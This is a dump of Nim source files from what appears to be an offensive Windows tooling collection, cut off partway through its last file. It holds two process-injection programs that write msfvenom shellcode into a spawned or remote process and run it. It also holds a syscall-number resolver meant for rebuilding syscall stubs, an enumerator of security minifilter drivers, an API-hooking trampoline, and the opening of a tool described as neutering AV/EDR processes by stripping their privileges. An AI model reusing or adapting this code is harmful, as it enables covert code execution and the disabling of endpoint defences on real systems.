0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 107 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 108 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 109 | 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 110 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 111 | 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, 112 | 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00] 113 | 114 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 115 | when isMainModule: 116 | injectCreateRemoteThread(shellcode) 117 | -------------------------------------------------------------------------------- /src/suspended_thread_injection.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: 2hangd 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import osproc 8 | import os 9 | proc Suspended_Thread_Injection[I, T](shellcode: array[I, T]): void = 10 | var op: DWORD 11 | # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D 12 | let tProcess = startProcess("notepad.exe") 13 | tProcess.suspend() # That's handy! 14 | defer: tProcess.close() 15 | 16 | echo "[*] Target Process: ", tProcess.processID 17 | 18 | let pHandle = OpenProcess( 19 | PROCESS_ALL_ACCESS, 20 | false, 21 | cast[DWORD](tProcess.processID) 22 | ) 23 | defer: CloseHandle(pHandle) 24 | 25 | echo "[*] pHandle: ", pHandle 26 | 27 | let rPtr = VirtualAllocEx( 28 | pHandle, 29 | NULL, 30 | cast[SIZE_T](shellcode.len), 31 | MEM_COMMIT, 32 | PAGE_EXECUTE_READ_WRITE 33 | ) 34 | 35 | var bytesWritten: SIZE_T 36 | let wSuccess = WriteProcessMemory( 37 | pHandle, 38 | rPtr, 39 | unsafeAddr shellcode, 40 | cast[SIZE_T](shellcode.len), 41 | addr bytesWritten 42 | ) 43 | 44 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 45 | echo " \\-- bytes written: ", bytesWritten 46 | echo "" 47 | VirtualProtect(cast[LPVOID](rPtr), shellcode.len, PAGE_NOACCESS,addr op) 48 | let tHandle = CreateRemoteThread( 49 | pHandle, 50 | NULL, 51 | 0, 52 | cast[LPTHREAD_START_ROUTINE](rPtr), 53 | NULL, 54 | 0x00000004, 55 | NULL 56 | ) 57 | sleep(10000) 58 | VirtualProtect(cast[LPVOID](rPtr), shellcode.len, PAGE_EXECUTE_READ_WRITE,addr op) 59 | ResumeThread(tHandle) 60 | echo "[*] tHandle: ", tHandle 61 | echo "[+] Injected" 62 | 63 | when defined(windows): 64 | 65 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 66 | when defined(i386): 67 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 68 | echo "[*] Running in x86 process" 69 | var shellcode: array[272, byte] = [ 70 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 71 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 72 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 73 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 74 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 75 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 76 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 77 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 78 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 79 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 80 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 81 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 82 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 83 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 84 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 85 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 86 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 87 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 88 | 0x55,0x08] 89 | 90 | elif defined(amd64): 91 | # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays 92 | echo "[*] Running in x64 process" 93 | var shellcode: array[295, byte] = [ 94 | byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 95 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 96 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 97 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 98 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 99 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 100 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 101 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 102 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 103 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 104 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 105 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 106 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 107 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 108 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 109 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 110 | 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 111 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 112 | 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, 113 | 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00] 114 | 115 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 116 | when isMainModule: 117 | Suspended_Thread_Injection(shellcode) -------------------------------------------------------------------------------- /src/ssdt_dump.nim: -------------------------------------------------------------------------------- 1 | when not defined(windows): 2 | {.error: "This module is only supported on Windows".} 3 | 4 | # Import required libs 5 | import strutils 6 | import strformat 7 | 8 | # Import external libs 9 | import ptr_math 10 | import winim 11 | 12 | type 13 | Syscall = object 14 | ssn: int 15 | name: string 16 | address: int64 17 | 18 | IMAGE_RUNTIME_FUNCTION_ENTRY_UNION {.pure, union.} = object 19 | UnwindInfoAddress: DWORD 20 | UnwindData: DWORD 21 | 22 | IMAGE_RUNTIME_FUNCTION_ENTRY {.pure.} = object 23 | BeginAddress: DWORD 24 | EndAddress: DWORD 25 | u1: IMAGE_RUNTIME_FUNCTION_ENTRY_UNION 26 | PIMAGE_RUNTIME_FUNCTION_ENTRY = ptr IMAGE_RUNTIME_FUNCTION_ENTRY 27 | 28 | ## utils from https://github.com/khchen/memlib/blob/master/memlib.nim 29 | template `++`[T](p: var ptr T) = 30 | ## syntax sugar for pointer increment 31 | p = cast[ptr T](p[int] +% sizeof(T)) 32 | 33 | proc `[]`[T](x: T, U: typedesc): U {.inline.} = 34 | ## syntax sugar for cast 35 | when sizeof(U) > sizeof(x): 36 | when sizeof(x) == 1: cast[U](cast[uint8](x).uint64) 37 | elif sizeof(x) == 2: cast[U](cast[uint16](x).uint64) 38 | elif sizeof(x) == 4: cast[U](cast[uint32](x).uint64) 39 | else: cast[U](cast[uint64](x)) 40 | else: 41 | cast[U](x) 42 | 43 | proc `{}`[T](x: T, U: typedesc): U {.inline.} = 44 | ## syntax sugar for zero extends cast 45 | when sizeof(x) == 1: x[uint8][U] 46 | elif sizeof(x) == 2: x[uint16][U] 47 | elif sizeof(x) == 4: x[uint32][U] 48 | elif sizeof(x) == 8: x[uint64][U] 49 | else: {.fatal.} 50 | 51 | proc `{}`[T](p: T, x: SomeInteger): T {.inline.} = 52 | ## syntax sugar for pointer (or any other type) arithmetics 53 | (p[int] +% x{int})[T] 54 | ## 55 | 56 | # Use RunTime Function table from exception directory to gather SSN: https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/ 57 | iterator syscalls(codeBase: pointer, exports: PIMAGE_EXPORT_DIRECTORY, rtf: PIMAGE_RUNTIME_FUNCTION_ENTRY): (string, int, DWORD) = 58 | var 59 | i: int = 0 60 | ssn: int = 0 61 | 62 | # Loop runtime function table 63 | while rtf[i].BeginAddress: 64 | let current = rtf[i].BeginAddress 65 | # Reset pointers 66 | var 67 | nameRef = codeBase{exports.AddressOfNames}[PDWORD] 68 | funcRef = codeBase{exports.AddressOfFunctions}[PDWORD] 69 | ordinal = codeBase{exports.AddressOfNameOrdinals}[PWORD] 70 | 71 | # Search Begin Address in Export Table 72 | for j in 0 ..< exports.NumberOfFunctions: 73 | let 74 | syscall = $(codeBase{nameRef[]}[LPCSTR]) 75 | offset = funcRef[ordinal[j][int]] 76 | 77 | # Check offset with current function, ensure this is a syscall 78 | if (offset == current) and syscall.startsWith("Zw"): 79 | yield (syscall, ssn, offset) 80 | # Increase syscall number 81 | ssn += 1 82 | break 83 | 84 | ++nameRef 85 | 86 | # Go next address 87 | i += 1 88 | 89 | proc lpwstrc(bytes: array[MAX_PATH, WCHAR]): string = 90 | result = newString(bytes.len) 91 | for i in bytes: 92 | result &= cast[char](i) 93 | result = strip(result, chars = {cast[char](0)}) 94 | 95 | proc listSyscalls(codeBase: pointer): seq[Syscall] = 96 | # Extract headers 97 | let dosHeader = cast[PIMAGE_DOS_HEADER](codeBase) 98 | let ntHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](codeBase) + dosHeader.e_lfanew) 99 | 100 | # Get export table 101 | let directory = ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] 102 | let exports = codeBase{directory.VirtualAddress}[PIMAGE_EXPORT_DIRECTORY] 103 | 104 | # Get runtime functions table 105 | let dirExcept = ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION] 106 | let rtf = codeBase{dirExcept.VirtualAddress}[PIMAGE_RUNTIME_FUNCTION_ENTRY] 107 | 108 | # Resolve ssn & offset 109 | for name, ssn, offset in codeBase.syscalls(exports, rtf): 110 | var entry = Syscall(name: name, ssn: ssn) 111 | # Calculate syscall address 112 | entry.address = cast[int64](codeBase + offset) 113 | result.add(entry) 114 | 115 | return result 116 | 117 | proc getInfos(me32: MODULEENTRY32): (string, string) = 118 | let 119 | modPath = lpwstrc(me32.szExePath) 120 | infos = modPath.split("\\") 121 | modName = infos[^1].toLower() 122 | modAddr = toHex(cast[int64](me32.modBaseAddr)) 123 | 124 | return (modName, modAddr) 125 | 126 | proc dumpSSDT(pid: DWORD): seq[Syscall] = 127 | # Create module snapshot 128 | let hModule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid) 129 | defer: CloseHandle(hModule) 130 | 131 | # Store process handle 132 | let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) 133 | 134 | var 135 | me32: MODULEENTRY32 136 | mi: MODULEINFO 137 | 138 | me32.dwSize = cast[DWORD](sizeof(MODULEENTRY32)) 139 | 140 | # SKip to ntdll.dll 141 | hModule.Module32First(addr me32) 142 | hModule.Module32Next(addr me32) 143 | 144 | # Infos about dll 145 | let (modName, modAddr) = me32.getInfos() 146 | echo &"[+] {modName} -> loaded @ 0x{modAddr}" 147 | handle.GetModuleInformation(me32.hModule, addr mi, cast[DWORD](sizeof(mi))) 148 | 149 | return listSyscalls(mi.lpBaseOfDll) 150 | 151 | when isMainModule: 152 | # Could set arg parse to check different process 153 | let pid = GetCurrentProcessId() 154 | 155 | for entry in dumpSSDT(pid): 156 | # You have now everything to rebuild syscall stub... 157 | echo &"\t. 0x{entry.address.toHex()}\t{entry.ssn}\t{entry.name}" -------------------------------------------------------------------------------- /src/fltmc_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/nim-lang/Nim/pull/1260 7 | - https://github.com/matterpreter/Shhmon/blob/master/Shhmon/Win32.cs 8 | - https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c 9 | - https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/fltuserstructures/ns-fltuserstructures-_filter_aggregate_standard_information 10 | ]# 11 | 12 | import winim 13 | import strformat 14 | import strutils 15 | import unicode 16 | 17 | const 18 | FLTFL_AGGREGATE_INFO_IS_MINIFILTER = 0x00000001 19 | FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER = 0x00000002 20 | 21 | type 22 | wchar_t {.importc.} = object 23 | 24 | MINI_FILTER = object 25 | Flags: culong 26 | FrameID: culong 27 | NumberOfInstances: culong 28 | FilterNameLength: cushort 29 | FilterNameBufferOffset: cushort 30 | FilterAltitudeLength: cushort 31 | FilterAltitudeBufferOffset: cushort 32 | 33 | LEGACY_FILTER = object 34 | Flags: culong 35 | FilterNameLength: cushort 36 | FilterNameBufferOffset: cushort 37 | FilterAltitudeLength: cushort 38 | FilterAltitudeBufferOffset: cushort 39 | 40 | TYPE {.union.} = object 41 | MiniFilter: MINI_FILTER 42 | LegacyFilter: LEGACY_FILTER 43 | 44 | FILTER_AGGREGATE_STANDARD_INFORMATION {.pure.} = object 45 | NextEntryOffset: culong 46 | Flags: culong 47 | Type: TYPE 48 | 49 | PFILTER_AGGREGATE_STANDARD_INFORMATION= ptr FILTER_AGGREGATE_STANDARD_INFORMATION 50 | 51 | #[ 52 | FILTER_AGGREGATE_BASIC_INFORMATION = object 53 | NextEntryOffset: uint 54 | Flags: uint 55 | 56 | FILTER_FULL_INFORMATION = object 57 | NextEntryOffset: uint 58 | Flags: uint 59 | ]# 60 | 61 | FILTER_INFORMATION_CLASS {.pure.} = enum 62 | FilterFullInformation = 0 63 | FilterAggregateBasicInformation 64 | FilterAggregateStandardInformation 65 | 66 | proc FilterFindFirst(dwInformationClass: FILTER_INFORMATION_CLASS, lpBuffer: LPVOID, dwBufferSize: DWORD, lpBytesReturned: LPDWORD, lpFilterFind: LPHANDLE): HRESULT {.importc, dynlib:"fltlib", stdcall.} 67 | proc FilterFindNext(hFilterFind: HANDLE, dwInformationClass: FILTER_INFORMATION_CLASS, lpBuffer: LPVOID, dwBufferSize: DWORD, lpBytesReturned: LPDWORD): HRESULT {.importc, dynlib:"fltlib", stdcall.} 68 | proc FilterFindClose(hFilterFind: HANDLE): HRESULT {.importc, dynlib:"fltlib", stdcall.} 69 | 70 | # This parsing is extremely naive but couldn't figure out how to properly extract the Filter Name and Altitude from their buffer offsets. 71 | proc findAltitude(buf: string, altitude_len: int): int = 72 | var altitude = newString(altitude_len) 73 | var c_found: int = 0 74 | 75 | for c in buf: 76 | if c_found == altitude_len: 77 | break 78 | 79 | if isDigit(c): 80 | altitude.add(c) 81 | c_found += 1 82 | 83 | return parseInt(strutils.strip(altitude, chars={'\0'})) 84 | 85 | proc findFilterName(buf: string, filter_name_len: int): string = 86 | var filter_name = newString(filter_name_len) 87 | var c_found: int = 0 88 | 89 | for c in buf: 90 | if c_found == filter_name_len: 91 | break 92 | 93 | if isAlpha($c): 94 | filter_name.add(c) 95 | c_found += 1 96 | 97 | return strutils.strip(filter_name, chars={'\0'}) 98 | 99 | 100 | proc printFilterInfo(info: PFILTER_AGGREGATE_STANDARD_INFORMATION): void = 101 | case info.Flags: 102 | of FLTFL_AGGREGATE_INFO_IS_MINIFILTER: 103 | echo "--- Minifilter ---" 104 | 105 | var filter_len: int = int(cast[int](info.Type.MiniFilter.FilterNameLength) / sizeof(wchar_t)) 106 | #echo fmt" \---- Filter Name Length: {filter_len}" 107 | 108 | var filter_name = findFilterName($(&info.Type.MiniFilter.FilterNameBufferOffset), filter_len) 109 | echo fmt" \---- Filter Name: {filter_name}" 110 | 111 | var alt_len: int = int(cast[int](info.Type.MiniFilter.FilterAltitudeLength) / sizeof(wchar_t)) 112 | #echo fmt" \---- Filter Altitude Length: {alt_len}" 113 | 114 | var filter_alt = findAltitude($(&info.Type.MiniFilter.FilterAltitudeBufferOffset), alt_len) 115 | echo fmt" \---- Filter Altitude: {filter_alt}" 116 | 117 | echo fmt" \---- Instances: {info.Type.MiniFilter.NumberOfInstances}" 118 | echo fmt" \---- Frame: {info.Type.MiniFilter.FrameID}" 119 | 120 | echo "" 121 | of FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER: 122 | echo "--- Legacy Filter (Not Supported) ---" 123 | echo repr(info) 124 | else: 125 | echo "--- Unknown filter type ---" 126 | 127 | var 128 | szNeeded: DWORD 129 | hDevice: HANDLE 130 | res: HRESULT 131 | info, info2: PFILTER_AGGREGATE_STANDARD_INFORMATION 132 | nfilters: int = 0 133 | 134 | res = FilterFindFirst( 135 | FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, 136 | NULL, 0, &szNeeded, &hDevice 137 | ) 138 | 139 | if res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER): 140 | 141 | info = cast[PFILTER_AGGREGATE_STANDARD_INFORMATION](LocalAlloc(LPTR, szNeeded)) 142 | res = FilterFindFirst( 143 | FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, 144 | info, szNeeded, &szNeeded, &hDevice 145 | ) 146 | 147 | if res != S_OK: 148 | LocalFree(cast[HLOCAL](info)) 149 | 150 | printFilterInfo(info) 151 | 152 | while true: 153 | res = FilterFindNext(hDevice, FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, NULL, 0, &szNeeded) 154 | 155 | if res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER): 156 | 157 | info2 = cast[PFILTER_AGGREGATE_STANDARD_INFORMATION](LocalAlloc(LPTR, szNeeded)) 158 | res = FilterFindNext(hDevice, FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, info2, szNeeded, &szNeeded) 159 | if res == S_OK: 160 | printFilterInfo(info2) 161 | LocalFree(cast[HLOCAL](info2)) 162 | 163 | #if res != S_OK or res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS): 164 | # dump res 165 | # break 166 | 167 | nfilters += 1 168 | 169 | if res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS): 170 | break 171 | 172 | echo fmt"[*] Enumerated {nfilters} minifilter(s)" 173 | 174 | elif res == HRESULT_FROM_WIN32(ERROR_ACCESS_DENIED): 175 | echo "[-] Access denied, not enough privs?" 176 | 177 | discard FilterFindClose(hDevice) -------------------------------------------------------------------------------- /src/Hook.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch, Twitter: @ShitSecure 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim 7 | 8 | type 9 | typeMessageBox* = proc (hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 {.stdcall.} 10 | 11 | 12 | type 13 | MyNtFlushInstructionCache* = proc (processHandle: HANDLE, baseAddress: PVOID, numberofBytestoFlush: ULONG): NTSTATUS {.stdcall.} 14 | 15 | 16 | type 17 | HookedFunction* {.bycopy.} = object 18 | origFunction*: typeMessageBox 19 | functionStub*: array[16, BYTE] 20 | 21 | HookTrampolineBuffers* {.bycopy.} = object 22 | originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking. 23 | originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. 24 | previousBytes*: HANDLE 25 | previousBytesSize*: DWORD 26 | 27 | var ntdlldll = LoadLibraryA("ntdll.dll") 28 | if (ntdlldll == 0): 29 | echo "[X] Failed to load ntdll.dll" 30 | 31 | 32 | var ntFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache") 33 | if isNil(ntFlushInstructionCacheAddress): 34 | echo "[X] Failed to get the address of 'NtFlushInstructionCache'" 35 | 36 | 37 | var ntFlushInstructionCache*: MyNtFlushInstructionCache 38 | ntFlushInstructionCache = cast[MyNtFlushInstructionCache](ntFlushInstructionCacheAddress) 39 | 40 | 41 | proc fastTrampoline*(installHook: bool, addressToHook: LPVOID, jumpAddress: LPVOID, buffers: ptr HookTrampolineBuffers = nil): bool 42 | 43 | proc restoreHook() : void 44 | 45 | var gHookedFunction*: HookedFunction 46 | 47 | var messageBoxAddress*: HANDLE 48 | 49 | var messageBox*: typeMessageBox 50 | 51 | 52 | proc myMessageBox(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 = 53 | 54 | restoreHook() 55 | MessageBoxA(hWnd, "Hooked!", "Hooked!", uType) 56 | if(fastTrampoline(true, cast[LPVOID](messageBoxAddress), cast[LPVOID](myMessageBox), nil)): 57 | echo "[+] Re-Hooked 'MessageBoxA'" 58 | else: 59 | echo "[-] Failed to re-hook 'MessageBoxA'" 60 | return 0 61 | 62 | proc restoreHook() : void = 63 | var buffers: HookTrampolineBuffers 64 | buffers.originalBytes = cast[HANDLE](addr gHookedFunction.functionStub[0]) 65 | buffers.originalBytesSize = DWORD(sizeof(gHookedFunction.functionStub)) 66 | 67 | if(fastTrampoline(false, cast[LPVOID](messageBoxAddress), cast[LPVOID](myMessageBox), &buffers)): 68 | echo "[+] Restored 'MessageBoxA'" 69 | else: 70 | echo "[-] Failed to restore 'MessageBoxA'" 71 | 72 | proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID; 73 | buffers: ptr HookTrampolineBuffers): bool = 74 | var trampoline: seq[byte] 75 | if defined(amd64): 76 | trampoline = @[ 77 | byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr 78 | byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10 79 | ] 80 | var tempjumpaddr: uint64 = cast[uint64](jumpAddress) 81 | copyMem(&trampoline[2] , &tempjumpaddr, 6) 82 | elif defined(i386): 83 | trampoline = @[ 84 | byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr 85 | byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax 86 | ] 87 | var tempjumpaddr: uint32 = cast[uint32](jumpAddress) 88 | copyMem(&trampoline[1] , &tempjumpaddr, 3) 89 | 90 | var dwSize: DWORD = DWORD(len(trampoline)) 91 | var dwOldProtect: DWORD = 0 92 | var output: bool = false 93 | 94 | 95 | if (installHook): 96 | if (buffers != nil): 97 | if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0): 98 | echo "[-] Previous Bytes == 0" 99 | return false 100 | copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize) 101 | 102 | if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)): 103 | copyMem(addressToHook, addr trampoline[0], dwSize) 104 | output = true 105 | else: 106 | if (buffers != nil): 107 | if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0): 108 | echo "[-] Original Bytes == 0" 109 | return false 110 | 111 | dwSize = buffers.originalBytesSize 112 | 113 | if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)): 114 | copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize) 115 | output = true 116 | 117 | var status = ntFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize) 118 | if (status == 0): 119 | echo "[+] NtFlushInstructionCache success" 120 | else: 121 | echo "[-] NtFlushInstructionCache failed: ", toHex(status) 122 | VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect) 123 | 124 | return output 125 | 126 | proc hookFunction(funcname: string, dllName: LPCSTR, hookFunction: LPVOID): bool = 127 | var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(dllName), funcname)) 128 | messageBoxAddress = cast[HANDLE](addressToHook) 129 | var buffers: HookTrampolineBuffers 130 | var output: bool = false 131 | 132 | if (addressToHook == nil): 133 | return false 134 | 135 | buffers.previousBytes = cast[HANDLE](addressToHook) 136 | buffers.previousBytesSize = DWORD(sizeof(addressToHook)) 137 | gHookedFunction.origFunction = cast[typeMessageBox](addressToHook) 138 | var pointerToOrigBytes: LPVOID = addr gHookedFunction.functionStub 139 | copyMem(pointerToOrigBytes, addressToHook, 16) 140 | 141 | output = fastTrampoline(true, cast[LPVOID](addressToHook), hookFunction, &buffers) 142 | return output 143 | 144 | echo "[*] Loading User32.dll" 145 | var user32dll = LoadLibraryA("user32.dll") 146 | if (user32dll == 0): 147 | echo "[-] Failed to load user32.dll" 148 | quit(1) 149 | 150 | echo "[*] Getting the address of 'MessageBoxA'" 151 | messageBoxAddress = cast[HANDLE](GetProcAddress(user32dll,"MessageBoxA")) 152 | if (messageBoxAddress == 0): 153 | echo "[X] Failed to get the address of 'MessageBoxA'" 154 | quit(1) 155 | 156 | messageBox = cast[typeMessageBox](messageBoxAddress) 157 | 158 | echo "[*] Hooking 'MessageBoxA'" 159 | 160 | if (hookFunction("MessageBoxA", "user32.dll", cast[LPVOID](myMessageBox))): 161 | echo "[+] Hooked 'MessageBoxA'" 162 | else: 163 | echo "[-] Failed to hook 'MessageBoxA'" 164 | quit(1) 165 | 166 | echo "[*] Calling Hooked MessageBoxA!" 167 | discard messageBox(0, "Hello World", "Hello World", 0) 168 | 169 | echo "[*] Restoring old MessageBoxA" 170 | restoreHook() 171 | 172 | echo "[*] Calling Original MessageBoxA!" 173 | discard messageBox(0, "Hello World", "Hello World", 0) 174 | -------------------------------------------------------------------------------- /src/sandbox_process_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | This effectively sandboxes a process by removing it's token privileges and setting it's integrity level to "Untrusted". 7 | The primary use case of this would be to run it against an AV/EDR process to neuter it even if it's a PPL process. 8 | 9 | References: 10 | - https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/ 11 | - https://github.com/pwn1sher/KillDefender 12 | ]# 13 | 14 | from os import paramStr, commandLineParams 15 | from system import quit 16 | import winim 17 | import std/strformat 18 | 19 | proc toString(chars: openArray[WCHAR]): string = 20 | result = "" 21 | for c in chars: 22 | if cast[char](c) == '\0': 23 | break 24 | result.add(cast[char](c)) 25 | 26 | proc setDebugPrivs(): bool = 27 | var 28 | currentToken: HANDLE 29 | currentDebugValue: LUID 30 | newTokenPrivs: TOKEN_PRIVILEGES 31 | adjustSuccess: WINBOOL 32 | 33 | if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr currentToken) == FALSE: 34 | echo &"[-] Failed to open current process token [Error: {GetLastError()}]" 35 | return false 36 | 37 | if 